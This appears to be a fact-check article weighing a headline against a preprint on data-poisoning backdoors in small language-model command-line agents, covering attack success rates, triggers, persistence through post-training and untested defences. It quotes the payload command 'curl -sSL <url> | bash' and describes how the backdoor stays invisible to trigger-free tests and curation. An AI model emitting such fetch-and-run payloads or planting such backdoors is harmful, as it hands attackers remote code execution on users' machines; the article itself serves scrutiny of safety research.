Data Poisoning Backdoors: What 92.7% Means

The same 4B-parameter model, poisoned at the same 0.1% rate, reached a 92.7% attack success rate with one trigger and 10.5% with another. The headline about Anthropic research, data poisoning and persistent backdoors in AI agents carries neither figure. It carries the 0.1%, and the reader fills in the rest.

Verdict: half true. The paper shows persistence through SFT, DPO and RLVR at 4B, and its authors call the production-scale case an expectation, since confirming it "requires pretraining budgets beyond our setting."

What 92.7% counts

The paper, arXiv:2610.37741v1, is dated 27 Oct 2026. Its authors pretrained Qwen3 models from scratch at 0.6B, 1.7B and 4B parameters on a 100B-token corpus, then post-trained each into a command-line agent. Poison made up 0.1% of the corpus. The payload was one fixed command, curl -sSL <url> | bash, which the paper calls a remote code execution attack.

The 92.7% belongs to the 4B agent, a trigger of a file path containing anthropic, and a metric called Pass@32. Pass@32 counts a task as compromised if any of 32 samples runs the payload.

A secondary article reports Pass@1 for the 4B agent on path-triggered tasks at 50.9%. So the same agent at 0.1% reads 10.5% with the rare-string trigger, 50.9% on a single try with the path trigger and 92.7% on 32 tries. Each figure is accurate, and the headline carries none of them.

What the headline leaves out

The largest model has 4B parameters. Attack success rises with size across all three models, with no sign of saturation. The authors expect the vulnerability to be "at least as severe at production scale." This is a forecast.

Payload scope is narrow too. The authors say they do not show payloads synthesized on the fly, or triggers needing compositional rather than string matching, to be plantable as durably. The documents report no browser or tool-calling agents. My reading is that "AI agents" stretches a result about small command-line agents.

Poisoned models ran on three seeds. The lower-rate runs and the unpoisoned baselines were single runs, and the paper is a preprint labelled not independently replicated.

Four authors list Anthropic. Others list the Anthropic Fellows Program. The documents do not say whether the paper reflects an official Anthropic position.

One discrepancy remains. A secondary article reports 20.0% after GRPO at 0.1% in single-seed 4B rare-trigger runs, against 10.5% in the primary excerpt. Nothing reconciles the two. My guess is different seed or aggregation conditions, so I use the primary 10.5% and attribute it.

"At least as severe" is a forecast sitting next to a 10.5% result

The strongest objection says this correction points readers the wrong way. Every caveat above limits proof. None is evidence of safety. And the evidence leans in one direction.

The backdoor survived SFT, DPO and RLVR, with preferred HH-RLHF responses in the SFT mix for safety. Unpoisoned baselines scored 0.0% at every stage. At 0.0005%, which is 2,500 documents in the corpus, the injected trigger still fired on 1.4% of prompts. The authors also write of declaration-based poison, a free-form rule such as a git commit message, which reaches higher success and is harder to detect or filter with common data curation techniques. Telling readers to discount the headline risks understating a danger its authors expect to grow.

I accept the premise. No source in the research says the risk shrinks at scale, and this piece does not argue it.

The scale trend rests on 0.6B, 1.7B and 4B, so extending it to frontier models is my inference, not a result. The 1.4% comes from a single-seed run, and the secondary article says the authors attribute the non-monotone low-dose pattern to single-seed noise. Evasion of curation is an assertion. The paper discusses defences at two levels, the data and the deployed action, and the secondary article lists sandboxing, least privilege, command allow-lists, human confirmation and action classifiers. None was tested.

Acting before proof exists is reasonable. A reader choosing a defence still needs to know which label sits on each number: proven or expected.

The caveat that shrinks the number points at a worse problem

Return to the two triggers. The ordinary one, a path containing anthropic, was evaluated on held-out paths absent from training. Per the repository, the headline variant uses paths found in no poison document. The model generalized from a word to directories it never saw poisoned.

A rare string got 10.5%. I infer the strings a defender would flag as strange are the weak triggers, and the strong one looks like a normal directory name.

Now add the clean-prompt result. Payload emission on clean prompts was 0.0% across sizes, post-training stages, triggers and designs. On trigger-free versions of the injection tasks it stayed below 0.06% of samples. My reading is that a test suite without the trigger sees a clean model.

Nobody outside the authors has checked any of this. The code is Apache-2.0, but the generated corpora, checkpoints and original private evaluation artifacts are not bundled, and the public target is a placeholder URL. An exact comparison needs the same data, splits, model artifacts, target string and evaluation settings.